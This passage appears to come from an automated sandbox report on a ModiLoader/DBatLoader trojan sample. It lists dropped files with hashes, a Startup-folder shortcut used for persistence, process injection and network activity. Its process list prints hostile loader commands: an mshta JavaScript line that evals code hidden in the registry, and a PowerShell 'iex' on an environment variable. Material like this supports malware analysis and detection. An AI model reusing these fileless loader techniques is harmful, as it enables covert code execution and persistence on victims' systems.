memory/1980-72-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-74-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-76-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-77-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-78-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-75-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/2488-57-0x0000000003000000-0x0000000005000000-memory.dmp

memory/1980-73-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-71-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-80-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-79-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-70-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-69-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-68-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-67-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-66-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-64-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-63-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-62-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-61-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-60-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-59-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-56-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/2488-58-0x00000000062C0000-0x0000000006394000-memory.dmp

C:\Users\Admin\AppData\Local\d3afae00\d2239679.bat

MD5 f2ae417dcfcbe11a00d1102e6b587247
SHA1 0078bd4798af0b8a717425f1a85a1ff2a70c4c37
SHA256 0dc66bcd192c0da909958e43407fb9c4eb212c0471e715e32555f9399549255b
SHA512 8fd8d7af58ce744f505ec537830104bab71f86e87f7184bb6f0b699c8eed5f68ffd97211c435771b76aae94c8a74f782b656923c0f61f7189349b744d76f7dea

C:\Users\Admin\AppData\Roaming\e00a3efa\fe73a489.73caeeca8

MD5 505cf4883680d2c0a65ac97fea5807b7
SHA1 73a66a2f798ec56d253772405f79e9708028bc41
SHA256 c2bdf53a0bc7e0463f7e5025bbf941cd6dff548f16039123d25676f6c3f358c1
SHA512 f0c13b34d4d2ea8b82c4d373cbb2645cfe27def3b9b3b44d610ff96ab8e1e535221455b7866dd9d3c0bf3f4f79ca52893a045af276bcc1b0f2efa030f9ce5f83

C:\Users\Admin\AppData\Local\d3afae00\9a86c6c3.lnk

MD5 f759e8d04af7b9277ca3c6323c798630
SHA1 c48cb37b8055c4a03ae02b3d5c16fd796dc73a8e
SHA256 befcf6bb585dec869112c319f7c28d30f13048008a778461bd49e0811baab9cc
SHA512 0598f7894c69115b9664412d1be6319590fc48d695865b2044ef1b85607317d6e4bb2c86da92d928f5fa93542090ca71a931548ce103ada40ef5b9c590cd8c15

C:\Users\Admin\AppData\Local\d3afae00\52d5d4d8.73caeeca8

MD5 e8f8a69285893473fb6275843e0e72ef
SHA1 e9f18332aeb0fd62232f9aabd4cb6ec2d97bbc85
SHA256 939f71f964077dad54adaeaf649c2f79d71f07c2db8d812ea7ff2d982550877e
SHA512 c17c15640c0f485a4aeac7e3be4fd385bdfd124f7f322ee76385a580e52f8317068fe73d828a0831d7710d9dde0028a5e51be4ebeeb4c217ba527789d2f38817

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e795bdc5.lnk

MD5 b8c97cb1996b48e17e8cc8f100f2b35a
SHA1 551274d4b2e9ce7588e2ac31e104a961e4bc2ae3
SHA256 6b4369acda4fafddf82b2e2b6c9e821af71e78e2d76814a1e6632255d9697e91
SHA512 33d810bcee14326d7f15118907aac445b3418fb7edd10aa790425418b855072a6a443b65b47f38dc15b9a3078bf5bfbd7c2a4f398eed77d59317f5c085b7d9b5

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-25 18:16

Reported

2024-05-25 18:19

Platform

win10v2004-20240508-en

Max time kernel

145s

Max time network

101s

Command Line

"C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\988.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\988.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 4848 wrote to memory of 2588 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 2588 wrote to memory of 2268 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2588 wrote to memory of 2268 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2588 wrote to memory of 2268 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2268 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 1784 wrote to memory of 1416 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1784 wrote to memory of 1416 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1784 wrote to memory of 1416 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\988.exe

"C:\Users\Admin\AppData\Local\Temp\988.exe"

C:\Users\Admin\AppData\Local\Temp\988.exe

"C:\Users\Admin\AppData\Local\Temp\988.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:PLejMNE5="JTz";H64Z=new%20ActiveXObject("WScript.Shell");BkmOX1iuE3="RNFMwEdC";Z17Wwk=H64Z.RegRead("HKLM\\software\\Wow6432Node\\ttNGv9bG\\WfdAwcy5");KqDMip8G6I="cFZIAYQQ";eval(Z17Wwk);yodLe00Q="k9HkMU5";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:srwpws

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
BE 88.221.83.192:443 www.bing.com tcp
US 8.8.8.8:53 192.83.221.88.in-addr.arpa udp
BE 88.221.83.192:443 www.bing.com tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 203.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp

Files

memory/2588-0-0x0000000000400000-0x0000000000458000-memory.dmp

memory/2588-1-0x0000000000400000-0x0000000000458000-memory.dmp

memory/2588-2-0x0000000000400000-0x0000000000458000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\988.exe

MD5 a3219787e189eea4c7dd81f766f3350d
SHA1 369d430d0dad619a4a26f2546c483d723a6a5f85
SHA256 cf137ffac729c32770b7fab7a8e925f7903e952f4aa4143fa84211331c3e694f
SHA512 30cfff78744679c1ef2ec358d9dd7c46c8566fa3293aa750ff4ff0743e0a6f2a98e3060f140ff44ac319af1bf899cdaa5fb4e1c17a0f3ff6f71ff4509aea0b90

memory/2588-11-0x0000000000400000-0x0000000000458000-memory.dmp

memory/4668-15-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4668-16-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4668-17-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4668-22-0x0000000000880000-0x0000000000954000-memory.dmp

memory/4668-21-0x0000000000880000-0x0000000000954000-memory.dmp

memory/4668-20-0x0000000000880000-0x0000000000954000-memory.dmp

memory/4668-18-0x0000000000880000-0x0000000000954000-memory.dmp

memory/4668-19-0x0000000000880000-0x0000000000954000-memory.dmp

memory/4668-23-0x0000000000880000-0x0000000000954000-memory.dmp

memory/4668-24-0x0000000000880000-0x0000000000954000-memory.dmp

memory/1416-26-0x0000000002850000-0x0000000002886000-memory.dmp

memory/1416-27-0x0000000005390000-0x00000000059B8000-memory.dmp

memory/1416-28-0x00000000051B0000-0x00000000051D2000-memory.dmp

memory/1416-29-0x0000000005310000-0x0000000005376000-memory.dmp

memory/1416-30-0x0000000005A30000-0x0000000005A96000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdqippm5.jua.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1416-40-0x0000000005AA0000-0x0000000005DF4000-memory.dmp

memory/1416-41-0x0000000005F50000-0x0000000005F6E000-memory.dmp

memory/1416-42-0x0000000005F80000-0x0000000005FCC000-memory.dmp

memory/1416-43-0x00000000076D0000-0x0000000007D4A000-memory.dmp

memory/1416-44-0x0000000007000000-0x000000000701A000-memory.dmp